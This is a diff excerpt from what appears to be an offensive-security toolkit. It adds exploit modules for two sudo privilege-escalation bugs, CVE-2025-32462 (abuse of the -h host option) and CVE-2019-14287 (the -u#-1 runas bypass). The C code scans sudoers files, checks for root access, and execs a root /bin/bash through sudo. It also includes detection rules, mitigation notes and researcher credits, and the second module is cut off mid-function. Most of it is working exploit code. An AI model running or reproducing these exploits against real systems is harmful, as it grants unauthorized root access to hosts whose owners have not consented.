+`detect()` reads the sudo version (shared host fingerprint, else a live
+`sudo --version`) and returns VULNERABLE inside `[1.8.8, 1.9.17p0]`,
+OK otherwise. The exploitable precondition — a host-restricted sudoers
+rule — is not reliably probeable from an unprivileged context, so the
+empirical confirmation lives in the exploit path.
+
+`exploit()`:
+1. Resolves the host token to abuse: `SKELETONKEY_SUDO_HOST` env var, or
+   a best-effort scan of readable `/etc/sudoers` + `/etc/sudoers.d/*` for
+   a user-spec whose host is neither the current hostname nor `ALL`.
+2. Witnesses with `sudo -n -h <host> id -u` (non-interactive).
+3. On a uid-0 witness, execs `sudo -h <host> /bin/bash`
+   (override the command with `SKELETONKEY_SUDO_CMD`).
+
+Returns `EXPLOIT_FAIL` with operator guidance when no abusable rule is
+discoverable — it never fabricates root.
+
+## Fix / mitigation
+
+Upgrade sudo to 1.9.17p1 or later. There is no safe runtime toggle for
+the `-h` behaviour short of the patch.
+
+## Credit
+
+Rich Mirch — Stratascale CRU (2025-06-30). See `NOTICE.md`.

modules/sudo_host_cve_2025_32462/NOTICE.md

@@ -0,0 +1,49 @@
+# NOTICE — sudo_host (CVE-2025-32462)
+
+## Vulnerability
+
+**CVE-2025-32462** — sudo's `-h`/`--host` option, intended only to be
+used with `-l`/`--list` to display a user's privileges on a *different*
+host, was also honored when actually running a command (or via
+`sudoedit`). This lets a user evaluate the sudoers policy as though the
+machine were some other host: a sudoers rule scoped to a host that is
+neither the current machine nor `ALL` becomes usable locally via
+`sudo -h <that-host> <command>`, yielding command execution as root.
+
+Primarily affects sites that distribute one sudoers file across a fleet,
+or use LDAP/SSSD-based sudoers, where host-restricted rules are common.
+
+- Affected: sudo **1.8.8** through **1.9.17p0** (the `-h` behaviour is
+  ~12 years old). Fixed in **1.9.17p1**.
+- CWE-863 (Incorrect Authorization). CVSS 8.8 (High). Not in CISA KEV
+  (the sibling `--chroot` bug CVE-2025-32463 is).
+
+## Research credit
+
+Discovered and disclosed by **Rich Mirch — Stratascale Cyber Research
+Unit (CRU)**, published 2025-06-30 alongside CVE-2025-32463.
+
+- sudo.ws advisory: <https://www.sudo.ws/security/advisories/host_any/>
+- Stratascale writeup:
+  <https://www.stratascale.com/resource/cve-2025-32462-sudo-host-option-vulnerability/>
+- Fixed in sudo 1.9.17p1 (Todd C. Miller, upstream maintainer).
+
+All research credit belongs to Rich Mirch / Stratascale and the sudo
+maintainers. SKELETONKEY is the bundling and bookkeeping layer only.
+
+## SKELETONKEY role
+
+🟢 **Structural escape (config-gated).** No offsets, no leak, no race.
+`detect()` gates on the sudo version (the host-restricted rule lives in a
+sudoers source the user usually cannot read — that opacity is the bug),
+so a VULNERABLE verdict means "vulnerable sudo present; an abusable rule
+may exist". `exploit()` best-effort reads `/etc/sudoers` +
+`/etc/sudoers.d/*` for a user-spec whose host field is neither the
+current hostname nor `ALL` (or takes the host from
+`SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and
+pops `sudo -h <host> /bin/bash` (override via `SKELETONKEY_SUDO_CMD`)
+only on a confirmed uid-0 witness — never claims root it did not get.
+
+Mitigation: upgrade sudo to 1.9.17p1+. Architecture-agnostic
+(pure userspace). Joins the shared `sudo` family alongside
+`sudo_chwoot`, `sudo_samedit`, `sudo_runas_neg1`, and `sudoedit_editor`.

modules/sudo_host_cve_2025_32462/skeletonkey_modules.c

@@ -0,0 +1,441 @@
+/*
+ * sudo_host_cve_2025_32462 — SKELETONKEY module
+ *
+ * STATUS: 🟢 STRUCTURAL (config-gated). No offsets, no leak, no race.
+ *   Pure authorization-logic flaw: sudo's `-h`/`--host` option — meant
+ *   only to pair with `-l`/`--list` to show your privileges on ANOTHER
+ *   host — was honored when actually *running* a command (or sudoedit).
+ *   That makes the host field of a sudoers rule attacker-chosen: a rule
+ *   scoped to some host other than the current machine becomes usable
+ *   here via `sudo -h <that-host> <command>`.
+ *
+ * The bug (Rich Mirch, Stratascale CRU, disclosed 2025-06-30 alongside
+ *   the sibling --chroot bug CVE-2025-32463):
+ *     `sudo -h <host> <command>` evaluates the sudoers policy as though
+ *     the machine were <host>. A user listed in sudoers for a different
+ *     host (common with a fleet-wide sudoers file, or LDAP/SSSD sudoers)
+ *     can therefore run that host's commands as root on the local box.
+ *
+ *   sudo.ws advisory: https://www.sudo.ws/security/advisories/host_any/
+ *
+ * Affects: sudo 1.8.8 ≤ V ≤ 1.9.17p0 (the `-h` option behaviour is
+ *   ~12 years old). Fixed in 1.9.17p1, which stops honoring `-h` outside
+ *   `-l`. CWE-863 (Incorrect Authorization). CVSS 8.8 (High). NOT in
+ *   CISA KEV (the sibling 32463 is).
+ *
+ * Precondition for exploitation (NOT for detection): the invoking user
+ *   must already be listed in sudoers for a host that is neither the
+ *   current hostname nor ALL. detect() can only gate on the sudo
+ *   version (the host-restricted rule lives in a sudoers source the user
+ *   usually cannot read — that opacity is the whole point of the bug),
+ *   so a VULNERABLE verdict here means "vulnerable sudo present; an
+ *   abusable host-restricted rule MAY exist". exploit() then tries to
+ *   find/fire one (or takes the host+command from env vars).
+ *
+ * arch_support: any. Pure userspace; no shellcode.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+#include "../../core/host.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <sys/types.h>
+
+#ifdef __linux__
+#include <pwd.h>
+#include <grp.h>
+#endif
+
+/* ---- sudo family helpers (mirror the sibling sudo_* modules) -------- */
+
+static const char *find_sudo(void)
+{
+    static const char *candidates[] = {
+        "/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
+        "/sbin/sudo", "/usr/local/bin/sudo", NULL,
+    };
+    for (size_t i = 0; candidates[i]; i++) {
+        struct stat st;
+        if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
+            return candidates[i];
+    }
+    return NULL;
+}
+
+static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
+{
+    char cmd[512];
+    snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
+    FILE *p = popen(cmd, "r");
+    if (!p) return false;
+    char line[256] = {0};
+    char *r = fgets(line, sizeof line, p);
+    pclose(p);
+    if (!r) return false;
+    char *vp = strstr(line, "version");
+    if (!vp) return false;
+    vp += strlen("version");
+    while (*vp == ' ' || *vp == '\t') vp++;
+    char *nl = strchr(vp, '\n');
+    if (nl) *nl = 0;
+    strncpy(out, vp, outsz - 1);
+    out[outsz - 1] = 0;
+    return out[0] != 0;
+}
+
+/* True iff the version is in the vulnerable range [1.8.8, 1.9.17p0].
+ * Fixed in 1.9.17p1. Versions below 1.8.8 predate the `-h` behaviour. */
+static bool sudo_version_vulnerable_host(const char *v)
+{
+    int maj = 0, min = 0, patch = 0;
+    char ptag = 0;
+    int psub = 0;
+    int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
+    if (n < 3) return true;            /* unparseable → assume worst */
+    if (maj != 1)      return false;
+    if (min < 8)       return false;   /* 1.7.x and below predate */
+    if (min == 8)      return patch >= 8;   /* 1.8.8 .. 1.8.x */
+    if (min > 9)       return false;   /* 1.10+ (hypothetical) fixed */
+    /* min == 9 */
+    if (patch < 17)    return true;    /* 1.9.0 .. 1.9.16 */
+    if (patch > 17)    return false;   /* 1.9.18+ fixed */
+    /* exactly 1.9.17 */
+    if (ptag != 'p')   return true;    /* 1.9.17 plain → vulnerable */
+    return psub == 0;                  /* 1.9.17p0 vuln; p1+ fixed */
+}
+
+/* ---- detect --------------------------------------------------------- */
+
+static skeletonkey_result_t sudo_host_detect(const struct skeletonkey_ctx *ctx)
+{
+    const char *sudo_path = find_sudo();
+    if (!sudo_path) {
+        if (!ctx->json)
+            fprintf(stderr, "[i] sudo_host: sudo not installed; bug unreachable here\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    char vbuf[64] = {0};
+    const char *ver = NULL;
+    if (ctx->host && ctx->host->sudo_version[0]) {
+        ver = ctx->host->sudo_version;
+    } else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
+        ver = vbuf;
+    } else {
+        if (!ctx->json) fprintf(stderr, "[!] sudo_host: could not read sudo --version\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    if (!ctx->json) fprintf(stderr, "[i] sudo_host: sudo version '%s'\n", ver);
+
+    if (!sudo_version_vulnerable_host(ver)) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] sudo_host: sudo %s outside vulnerable range "
+                            "[1.8.8, 1.9.17p0] — patched or pre-feature\n", ver);
+        return SKELETONKEY_OK;
+    }
+
+    if (!ctx->json) {
+        fprintf(stderr, "[!] sudo_host: sudo %s in vulnerable range — VULNERABLE\n", ver);
+        fprintf(stderr, "[i] sudo_host: `-h`/`--host` honored beyond `-l` — a sudoers "
+                        "rule scoped to a non-current host is usable via `sudo -h <host>`\n");
+        fprintf(stderr, "[i] sudo_host: exploitation requires such a host-restricted rule "
+                        "(common with fleet-wide / LDAP / SSSD sudoers). Run "
+                        "`--exploit sudo_host --i-know` to find/fire one.\n");
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+/* ---- exploit -------------------------------------------------------- */
+
+#ifdef __linux__
+/* Does `tok` name a host that is exploitable from here — i.e. a specific
+ * host that is neither the current hostname nor the ALL wildcard? */
+static bool host_is_abusable(const char *tok, const char *cur_host)
+{
+    if (!tok || !*tok) return false;
+    if (strcmp(tok, "ALL") == 0) return false;     /* no restriction → no bug */
+    if (tok[0] == '%' || tok[0] == '+') return false; /* netgroup/group, skip */
+    if (strcasecmp(tok, cur_host) == 0) return false; /* already our host */
+    /* A bare short-hostname form of the FQDN counts as "us" too. */
+    const char *dot = strchr(cur_host, '.');
+    if (dot) {
+        size_t shortlen = (size_t)(dot - cur_host);
+        if (strlen(tok) == shortlen && strncasecmp(tok, cur_host, shortlen) == 0)
+            return false;
+    }
+    return true;
+}
+
+/* Best-effort scan of a sudoers source for a rule whose host field is
+ * abusable. Fills *host_out with the host token to pass to `sudo -h`.
+ * Returns true on the first hit. We do not try to fully parse the
+ * sudoers grammar — we look for `<who> <host> = ...` user-spec lines and
+ * test the host token. who may be the user, a %group, or ALL. */
+static bool scan_sudoers_file(const char *path, const char *user,
+                              const char *cur_host, char *host_out, size_t host_sz)
+{
+    FILE *f = fopen(path, "r");
+    if (!f) return false;
+    char line[1024];
+    bool hit = false;
+    while (fgets(line, sizeof line, f)) {
+        char *s = line;
+        while (*s == ' ' || *s == '\t') s++;
+        if (*s == '#' || *s == '\n' || *s == 0) continue;
+        if (strncmp(s, "Defaults", 8) == 0) continue;
+        if (strstr(s, "_Alias")) continue;     /* alias defs, not user specs */
+        if (strstr(s, "#include") || strncmp(s, "@include", 8) == 0) continue;
+
+        /* Must contain '=' (the host = command separator). */
+        char *eq = strchr(s, '=');
+        if (!eq) continue;
+
+        /* who = first token; host = second token (before '='). */
+        char who[128] = {0}, host[256] = {0};
+        if (sscanf(s, "%127s %255s", who, host) != 2) continue;
+        /* strip a trailing '=' that sscanf may have grabbed onto host */
+        char *he = strchr(host, '=');
+        if (he) *he = 0;
+        if (!host[0]) continue;
+
+        bool who_match = (strcmp(who, "ALL") == 0) ||
+                         (strcmp(who, user) == 0) ||
+                         (who[0] == '%');   /* group — best-effort match */
+        if (!who_match) continue;
+
+        if (host_is_abusable(host, cur_host)) {
+            snprintf(host_out, host_sz, "%s", host);
+            hit = true;
+            break;
+        }
+    }
+    fclose(f);
+    return hit;
+}
+
+/* Try to discover an abusable host token from readable sudoers sources.
+ * Most non-root users cannot read these (that's the bug's opacity), but
+ * misconfigured / world-readable sudoers and some LDAP cache dumps are
+ * common enough to be worth a look. */
+static bool discover_abusable_host(const char *user, const char *cur_host,
+                                   char *host_out, size_t host_sz)
+{
+    if (scan_sudoers_file("/etc/sudoers", user, cur_host, host_out, host_sz))
+        return true;
+    /* /etc/sudoers.d/* — enumerate via shell glob into a temp listing. */
+    FILE *p = popen("ls -1 /etc/sudoers.d/ 2>/dev/null", "r");
+    if (p) {
+        char name[256];
+        while (fgets(name, sizeof name, p)) {
+            char *nl = strchr(name, '\n'); if (nl) *nl = 0;
+            if (!name[0]) continue;
+            char full[512];
+            snprintf(full, sizeof full, "/etc/sudoers.d/%s", name);
+            if (scan_sudoers_file(full, user, cur_host, host_out, host_sz)) {
+                pclose(p);
+                return true;
+            }
+        }
+        pclose(p);
+    }
+    return false;
+}
+
+/* Run `sudo -n -h <host> id -u` and return true if it printed "0"
+ * (command executed as root). -n keeps it non-interactive so a password
+ * prompt can't hang the scan. */
+static bool sudo_host_witness_root(const char *sudo_path, const char *host)
+{
+    char cmd[768];
+    snprintf(cmd, sizeof cmd,
+             "%s -n -h %s id -u 2>/dev/null", sudo_path, host);
+    FILE *p = popen(cmd, "r");
+    if (!p) return false;
+    char out[64] = {0};
+    char *r = fgets(out, sizeof out, p);
+    pclose(p);
+    if (!r) return false;
+    return atoi(out) == 0 && (out[0] == '0');
+}
+#endif /* __linux__ */
+
+static skeletonkey_result_t sudo_host_exploit(const struct skeletonkey_ctx *ctx)
+{
+#ifndef __linux__
+    (void)ctx;
+    fprintf(stderr, "[-] sudo_host: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+#else
+    if (!ctx->authorized) {
+        fprintf(stderr, "[-] sudo_host: --i-know required for --exploit\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    skeletonkey_result_t pre = sudo_host_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
+        fprintf(stderr, "[-] sudo_host: detect() says not vulnerable; refusing\n");
+        return pre;
+    }
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
+        fprintf(stderr, "[i] sudo_host: already running as root — nothing to do\n");
+        return SKELETONKEY_OK;
+    }
+    const char *sudo_path = find_sudo();
+    if (!sudo_path) {
+        fprintf(stderr, "[-] sudo_host: sudo not installed\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    char cur_host[256] = {0};
+    if (gethostname(cur_host, sizeof cur_host - 1) != 0) cur_host[0] = 0;
+    struct passwd *pw = getpwuid(geteuid());
+    const char *user = pw ? pw->pw_name : "";
+
+    /* The host token to abuse. Source priority:
+     *   1. SKELETONKEY_SUDO_HOST env var (operator supplies it — the most
+     *      reliable path, since the host-restricted rule usually lives in
+     *      a sudoers source the user can't read).
+     *   2. Best-effort discovery from readable sudoers. */
+    char host_tok[256] = {0};
+    const char *envh = getenv("SKELETONKEY_SUDO_HOST");
+    if (envh && *envh) {
+        snprintf(host_tok, sizeof host_tok, "%s", envh);
+        if (!ctx->json)
+            fprintf(stderr, "[*] sudo_host: using SKELETONKEY_SUDO_HOST=%s\n", host_tok);
+    } else if (discover_abusable_host(user, cur_host, host_tok, sizeof host_tok)) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] sudo_host: found abusable host-restricted rule "
+                            "(host '%s' != current '%s') in readable sudoers\n",
+                    host_tok, cur_host);
+    } else {
+        fprintf(stderr,
+            "[-] sudo_host: no abusable host-restricted rule discoverable.\n"
+            "    The vulnerable sudo is present, but exploitation needs a sudoers\n"
+            "    rule scoped to a host other than '%s' (and not ALL), which is\n"
+            "    typically in a sudoers source you cannot read. If you know one\n"
+            "    (fleet-wide / LDAP / SSSD sudoers), supply it and re-run:\n"
+            "      SKELETONKEY_SUDO_HOST=<that-host> \\\n"
+            "      [SKELETONKEY_SUDO_CMD=/bin/bash] \\\n"
+            "      skeletonkey --exploit sudo_host --i-know\n",
+            cur_host[0] ? cur_host : "(this host)");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    /* Confirm the policy actually grants root on the local box when we
+     * claim to be host_tok. `id -u` as the witness command. */
+    if (!ctx->json)
+        fprintf(stderr, "[*] sudo_host: testing `sudo -n -h %s id -u`...\n", host_tok);
+    if (!sudo_host_witness_root(sudo_path, host_tok)) {
+        fprintf(stderr,
+            "[-] sudo_host: `sudo -h %s id -u` did not return uid 0. Likely:\n"
+            "    - sudo is patched (1.9.17p1+) even if --version looked vulnerable\n"
+            "    - the rule for '%s' is command-restricted (doesn't grant `id`);\n"
+            "      set SKELETONKEY_SUDO_CMD to a command the rule DOES grant\n"
+            "    - the rule requires a password (we run -n / non-interactive)\n",
+            host_tok, host_tok);
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    if (!ctx->json)
+        fprintf(stderr, "[+] sudo_host: WITNESS — `sudo -h %s` runs as uid 0. "
+                        "CVE-2025-32462 confirmed.\n", host_tok);
+
+    if (ctx->no_shell) {
+        fprintf(stderr, "[i] sudo_host: --no-shell set; not popping. Reproduce with: "
+                        "sudo -h %s <command>\n", host_tok);
+        return SKELETONKEY_EXPLOIT_OK;
+    }
+
+    /* Pop a root shell via the abused host. The granted command may be
+     * restricted; default to /bin/bash but let the operator override to
+     * whatever the rule actually permits. */
+    const char *cmd = getenv("SKELETONKEY_SUDO_CMD");
+    if (!cmd || !*cmd) cmd = "/bin/bash";
+    fprintf(stderr, "[+] sudo_host: exec `sudo -h %s %s`\n", host_tok, cmd);
+    fflush(NULL);
+    execl(sudo_path, "sudo", "-h", host_tok, cmd, (char *)NULL);
+    perror("execl(sudo -h)");
+    return SKELETONKEY_EXPLOIT_FAIL;
+#endif /* __linux__ */
+}
+
+/* ---- detection rules ------------------------------------------------ */
+
+static const char sudo_host_auditd[] =
+    "# sudo_host CVE-2025-32462 — auditd detection rules\n"
+    "# Flag sudo invocations; the abuse is `sudo -h <host>` running a\n"
+    "# command (not just `-l`). auditd can't filter argv content, so this\n"
+    "# watches sudo execve broadly — correlate with sudo's own logs, which\n"
+    "# record the -h/--host value and the target command.\n"
+    "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-host\n"
+    "-a always,exit -F arch=b64 -S execve -F path=/bin/sudo      -k skeletonkey-sudo-host\n";
+
+static const char sudo_host_sigma[] =
+    "title: Possible CVE-2025-32462 sudo --host policy-bypass LPE\n"
+    "id: 7c1d9e54-skeletonkey-sudo-host\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects sudo invoked with -h/--host together with a command (not\n"
+    "  -l/--list). On sudo <= 1.9.17p0 the host option is honored when\n"
+    "  running commands, letting a user abuse a sudoers rule scoped to a\n"
+    "  different host. False positives: admins legitimately using\n"
+    "  `sudo -l -h <host>` to LIST remote privileges (no command present).\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  sudo_exec: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
+    "  host_opt:  {argv|contains: ['-h', '--host']}\n"
+    "  condition: sudo_exec and host_opt\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2025.32462]\n";
+
+static const char sudo_host_falco[] =
+    "- rule: sudo --host running a command by non-root (CVE-2025-32462)\n"
+    "  desc: |\n"
+    "    sudo invoked with -h/--host while running a command (not -l). On\n"
+    "    sudo <= 1.9.17p0 the host option is wrongly honored outside\n"
+    "    --list, so a sudoers rule scoped to another host can be abused\n"
+    "    for local root. False positives: `sudo -l -h <host>` used purely\n"
+    "    to list remote privileges.\n"
+    "  condition: >\n"
+    "    spawned_process and proc.name = sudo and\n"
+    "    (proc.cmdline contains \"-h \" or proc.cmdline contains \"--host\") and\n"
+    "    not proc.cmdline contains \"-l\" and not user.uid = 0\n"
+    "  output: >\n"
+    "    sudo --host running a command by non-root\n"
+    "    (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
+    "  priority: HIGH\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2025.32462]\n";
+
+/* ---- module struct -------------------------------------------------- */
+
+const struct skeletonkey_module sudo_host_module = {
+    .name           = "sudo_host",
+    .cve            = "CVE-2025-32462",
+    .summary        = "sudo -h/--host honored beyond -l → abuse a host-restricted sudoers rule for local root (Stratascale)",
+    .family         = "sudo",
+    .kernel_range   = "userspace — sudo 1.8.8 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
+    .detect         = sudo_host_detect,
+    .exploit        = sudo_host_exploit,
+    .mitigate       = NULL,    /* mitigation: upgrade sudo to 1.9.17p1+ */
+    .cleanup        = NULL,    /* exploit runs a command as root; no persistent artifact */
+    .detect_auditd  = sudo_host_auditd,
+    .detect_sigma   = sudo_host_sigma,
+    .detect_yara    = NULL,    /* behavioural (argv) bug — no file artifact to match */
+    .detect_falco   = sudo_host_falco,
+    .opsec_notes    = "Reads sudo --version (or the cached host fingerprint). On --exploit, best-effort reads /etc/sudoers + /etc/sudoers.d/* (usually unreadable to non-root — that opacity is the bug) looking for a user-spec whose host field is neither the current hostname nor ALL; or takes the host from SKELETONKEY_SUDO_HOST. Witnesses with `sudo -n -h <host> id -u` (non-interactive, no password prompt) and pops `sudo -h <host> /bin/bash` (override via SKELETONKEY_SUDO_CMD) only on a uid-0 witness. Audit-visible via execve(/usr/bin/sudo) with -h/--host in argv and a command present (not -l); sudo's own syslog/journal logging records the spoofed host and target command. No file artifacts, no persistence.",
+    .arch_support   = "any",
+};
+
+void skeletonkey_register_sudo_host(void)
+{
+    skeletonkey_register(&sudo_host_module);
+}

modules/sudo_host_cve_2025_32462/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * sudo_host_cve_2025_32462 — SKELETONKEY module registry hook
+ */
+
+#ifndef SUDO_HOST_SKELETONKEY_MODULES_H
+#define SUDO_HOST_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module sudo_host_module;
+
+#endif

modules/sudo_runas_neg1_cve_2019_14287/skeletonkey_modules.c

@@ -0,0 +1,286 @@
+/*
+ * sudo_runas_neg1_cve_2019_14287 — SKELETONKEY module
+ *
+ * STATUS: 🟢 STRUCTURAL ESCAPE. Pure logic bug. No offsets, no race.
+ *   `sudo -u#-1 <cmd>` parses `-1` as uid_t (unsigned) → wraps to
+ *   0xFFFFFFFF → sudo's setresuid() path treats it as "match any
+ *   uid" and converts to 0 → runs <cmd> as root, even when sudoers
+ *   explicitly says "ALL except root".
+ *
+ * The bug (Joe Vennix / Apple Information Security, October 2019):
+ *   sudoers grammar lets admins write rules like
+ *     bob ALL=(ALL,!root) /bin/vi
+ *   intending "bob can run vi as any user except root". The Runas
+ *   user is specified at invocation via `-u <user>` or `-u#<uid>`.
+ *   The integer parser for `-u#<n>` does NOT validate negative
+ *   numbers; passing `-u#-1` (or its unsigned-32-bit form
+ *   `-u#4294967295`) bypasses the explicit `!root` blacklist and
+ *   ALSO bypasses standard setresuid() because the kernel rejects
+ *   uid_t = -1 and falls back to keeping the current uid (which sudo
+ *   has already elevated to root for argument parsing).
+ *
+ *   Discovered by Joe Vennix. Public PoC: exploit-db #47502.
+ *   https://www.exploit-db.com/exploits/47502
+ *
+ * Affects: sudo < 1.8.28. Fixed by adding a positive-number check
+ *   to the `-u#<n>` parser.
+ *
+ * Preconditions:
+ *   - sudo installed + suid
+ *   - The invoking user has a sudoers entry of the form
+ *       USER  HOST=(ALL,!root) /path/to/cmd
+ *     or any sudoers entry with `(ALL` in the Runas spec that
+ *     blacklists root. WITHOUT such an entry the bug is irrelevant
+ *     because the user has no sudoers grant to abuse in the first
+ *     place — detect() short-circuits PRECOND_FAIL in that case.
+ *
+ * arch_support: any. Pure shell-level invocation; works identically
+ *   on every Linux arch sudo is built for.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+#include "../../core/host.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+
+/* ---- shared sudo helpers (compact copy from sudoedit_editor) -------- */
+
+static const char *find_sudo(void)
+{
+    static const char *candidates[] = {
+        "/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
+        "/sbin/sudo", "/usr/local/bin/sudo", NULL,
+    };
+    for (size_t i = 0; candidates[i]; i++) {
+        struct stat st;
+        if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
+            return candidates[i];
+    }
+    return NULL;
+}
+
+/* Returns true iff the version string is < 1.8.28 (the fix release). */
+static bool sudo_version_vulnerable(const char *v)
+{
+    int maj = 0, min = 0, patch = 0;
+    char ptag = 0; int psub = 0;
+    int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
+    if (n < 3) return true;        /* unparseable → conservative */
+    if (maj < 1)                  return false;
+    if (maj > 1)                  return false;
+    if (min < 8)                  return false;   /* < 1.8 predates `-u#` parser */
+    if (min > 8)                  return false;   /* >= 1.9 includes fix */
+    /* exactly 1.8.x: vulnerable iff patch < 28 */
+    return patch < 28;
+}
+
+static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
+{
+    char cmd[512];
+    snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
+    FILE *p = popen(cmd, "r");
+    if (!p) return false;
+    char line[256] = {0};
+    char *r = fgets(line, sizeof line, p);
+    pclose(p);
+    if (!r) return false;
+    char *vp = strstr(line, "version");
+    if (!vp) return false;
+    vp += strlen("version");
+    while (*vp == ' ' || *vp == '\t') vp++;
+    char *nl = strchr(vp, '\n');
+    if (nl) *nl = 0;
+    strncpy(out, vp, outsz - 1);
+    out[outsz - 1] = 0;
+    return out[0] != 0;
+}
+
+/* Look through `sudo -ln` for a Runas list that contains (ALL... — that's
+ * the precondition. Returns a stored command path the user can execve. */
+static bool find_runas_blacklist_grant(const char *sudo_path, char *cmd_out, size_t cap)
+{
+    char cmd[512];
+    /* -n -l separated + stdin closed: see sudoedit_editor for the same
+     * pattern + rationale. `--auto` must never block on a tty prompt. */
+    snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>/dev/null", sudo_path);
+    FILE *p = popen(cmd, "r");
+    if (!p) return false;
+    char line[512];
+    bool found = false;
+    while (fgets(line, sizeof line, p)) {
+        /* Looking for "    (ALL," or "    (ALL : ..." with an
+         * exclusion (!root or !#0) on a line that resolves to a
+         * runnable command. Conservative parser: any line containing
+         * "(ALL" + "!root" wins. */
+        if ((strstr(line, "(ALL")) && (strstr(line, "!root") || strstr(line, "!#0"))) {
+            /* Extract the last token (the command path) from the line. */
+            char *tok = strrchr(line, ' ');
+            if (tok) {
+                tok++;
+                char *nl = strchr(tok, '\n');
+                if (nl) *nl = 0;
+                strncpy(cmd_out, tok, cap - 1);
+                cmd_out[cap - 1] = 0;
+                found = true;
+                break;
+            }
+        }
+    }
+    pclose(p);
+    return found;
+}
+
+/* ---- detect --------------------------------------------------------- */
+
+static skeletonkey_result_t sudo_runas_neg1_detect(const struct skeletonkey_ctx *ctx)
+{
+    const char *sudo_path = find_sudo();
+    if (!sudo_path) {
+        if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo not installed\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    char vbuf[64] = {0};
+    const char *ver = (ctx->host && ctx->host->sudo_version[0])
+                      ? ctx->host->sudo_version
+                      : (get_sudo_version(sudo_path, vbuf, sizeof vbuf) ? vbuf : NULL);
+    if (!ver) {
+        if (!ctx->json) fprintf(stderr, "[!] sudo_runas_neg1: could not read sudo --version\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+    if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo version '%s'\n", ver);
+
+    if (!sudo_version_vulnerable(ver)) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] sudo_runas_neg1: sudo %s is post-fix (>= 1.8.28) → OK\n", ver);
+        return SKELETONKEY_OK;
+    }
+
+    /* Bug needs a sudoers grant with a (ALL,!root) Runas blacklist. */
+    char grant[256] = {0};
+    if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
+        if (!ctx->json) {
+            fprintf(stderr, "[i] sudo_runas_neg1: sudo %s vulnerable BUT no (ALL,!root) sudoers grant for this user\n", ver);
+            fprintf(stderr, "    Bug exists on the host; this user has no exploitable grant.\n");
+        }
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    if (!ctx->json) {
+        fprintf(stderr, "[!] sudo_runas_neg1: sudo %s vulnerable AND grant '%s' carries (ALL,!root) → VULNERABLE\n",
+                ver, grant);
+        fprintf(stderr, "[i] sudo_runas_neg1: trigger is `sudo -u#-1 %s`\n", grant);
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+/* ---- exploit -------------------------------------------------------- */
+
+static skeletonkey_result_t sudo_runas_neg1_exploit(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->authorized) {
+        fprintf(stderr, "[-] sudo_runas_neg1: --i-know required for --exploit\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    const char *sudo_path = find_sudo();
+    if (!sudo_path) return SKELETONKEY_EXPLOIT_FAIL;
+
+    char grant[256] = {0};
+    if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
+        fprintf(stderr, "[-] sudo_runas_neg1: no (ALL,!root) grant — nothing to abuse\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    if (!ctx->json)
+        fprintf(stderr, "[+] sudo_runas_neg1: exec %s -u#-1 %s\n", sudo_path, grant);
+    fflush(NULL);
+
+    /* If grant looks like /bin/sh-able command, run it directly.
+     * Otherwise leave the operator to pop the shell themselves. */
+    if (ctx->no_shell) {
+        if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: --no-shell; not invoking\n");
+        return SKELETONKEY_EXPLOIT_OK;
+    }
+    execl(sudo_path, "sudo", "-u#-1", grant, (char *)NULL);
+    perror("execl(sudo)");
